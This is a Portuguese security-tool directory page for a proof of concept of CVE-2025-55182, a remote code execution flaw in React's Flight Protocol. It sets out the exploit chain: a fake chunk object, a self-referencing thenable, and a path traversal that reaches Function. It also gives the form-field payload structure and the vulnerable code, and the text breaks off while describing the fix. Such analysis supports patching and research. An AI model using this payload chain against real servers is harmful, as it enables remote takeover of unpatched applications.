Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182 — Análise técnica detalhada e exploit de prova de conceito para CVE-2025-55182, uma vulnerabilidade crítica de RCE no Flight Protocol do React. Abrange path traversal, fake chunk injection e técnicas de bypass de WAF. | Kitploit
Ferramentas/GitHubGitHub/hulh122/cve-2025-55182
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebBypass de WAFAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubhulh122/cve-2025-55182

CVE-2025-55182

Análise técnica detalhada e exploit de prova de conceito para CVE-2025-55182, uma vulnerabilidade crítica de RCE no Flight Protocol do React. Abrange path traversal, fake chunk injection e técnicas de bypass de WAF.

Ver Repositório
32há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 - RCE em Componentes de Servidor React

NOTA: Escrito por IA/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

Resumo

CVE-2025-55182 é uma vulnerabilidade crítica de RCE no Flight Protocol do React. A cadeia de ataque combina path traversal + injeção de chunk falso + abuso do handler $B para executar Function(código_atacante).

Muito obrigado a maple3142 pela cadeia de exploração funcional!


A Exploração

Visão Geral do Ataque

A exploração utiliza três campos de formulário para construir um payload malicioso:

  1. Cria um objeto de chunk falso com then autorreferente (campo 1 $@0 → campo 0)
  2. Insere um _response falso com _formData.get definido como $1:constructor:constructor
  3. Aciona o handler $B que chama response._formData.get(response._prefix + id)
  4. Path traversal resolve _formData.get → Function, executando Function(código)

Fluxo de Exploração```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### Componentes Principais

| Componente | Propósito |
|-----------|---------|
| `then: "$1:__proto__:then"` | thenable autorreferente; chunk 1 (`$@0`) aponta de volta para chunk 0 |
| `status: "resolved_model"` | Faz com que o objeto pareça um chunk React válido |
| `reason: -1` | Define rootReference como undefined (evita conflitos de referência) |
| `value: '{"then":"$B1337"}'` | Payload aninhado que aciona o manipulador `$B` |
| `_response._prefix` | Contém a string de código de RCE |
| `_response._chunks: "$Q2"` | Map vazio para evitar travamentos durante o processamento de chunks |
| `_response._formData.get` | Aponta para `Function` via `$1:constructor:constructor` |

### Análise Detalhada dos Componentes

#### Estrutura dos Campos do Formulário

O exploit usa três campos de formulário com referências circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

Thenable Auto-Referencial (then)

O then: "$1:__proto__:then" cria uma auto-referência que resolve para uma função real:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

**Por que isto é crítico:**

1. `then` resolve para `Chunk.prototype.then` - uma função real e chamável
2. Isso torna o objeto falso um thenable válido
3. Quando usado com await, o JS chama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executa com o objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) usa this._response - o falso _response do atacante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
**Sem a autorreferência**, a `_response` falsa nunca seria usada. A autorreferência faz com que `Chunk.prototype.then` trate o objeto do atacante como um Chunk real.

#### Acionador Thenable de Dois Estágios (`value`)

O campo `value` contém uma string JSON aninhada com outro thenable:```json
{"then":"$B1337"}

Stage 1: O then auto-referencial do objeto externo aciona o processamento de chunks

Stage 2: Quando o React resolve o modelo, ele analisa value e encontra outro thenable com then: "$B1337". O prefixo $B aciona o handler:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

`_formData.get` é `"$1:constructor:constructor"` → `getOutlinedModel()` resolve para `Function`.

Isso se torna: `Function(code + "1337")` → JS válido porque `1337` é apenas uma expressão à direita.

#### Padding Defensivo (`_chunks`)

O `_response` falso precisa de uma propriedade `_chunks` válida para evitar falhas:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

React's internal code may access response._chunks.get() or response._chunks.has() during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable $B handler.


Caminhos de Código Vulneráveis

CaminhoFunçãoPropósito no Exploit
Path TraversalgetOutlinedModel()Resolves $1:constructor:constructor → Function
Injeção de _response FalsoinitializeModelChunk()Usa o chunk._response do atacante
Manipulador $BparseModelString()Chama _formData.get(_prefix + id) → RCE

decodeReply() é o ponto de entrada, não vulnerável por si só.

Path Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

**Uso de Resposta Falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

---

## A Correção (19.2.1)

O patch inclui várias correções:

1. **`RESPONSE_SYMBOL` em `initializeModelChunk()`** - Correção crítica   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);
Baixar ferramenta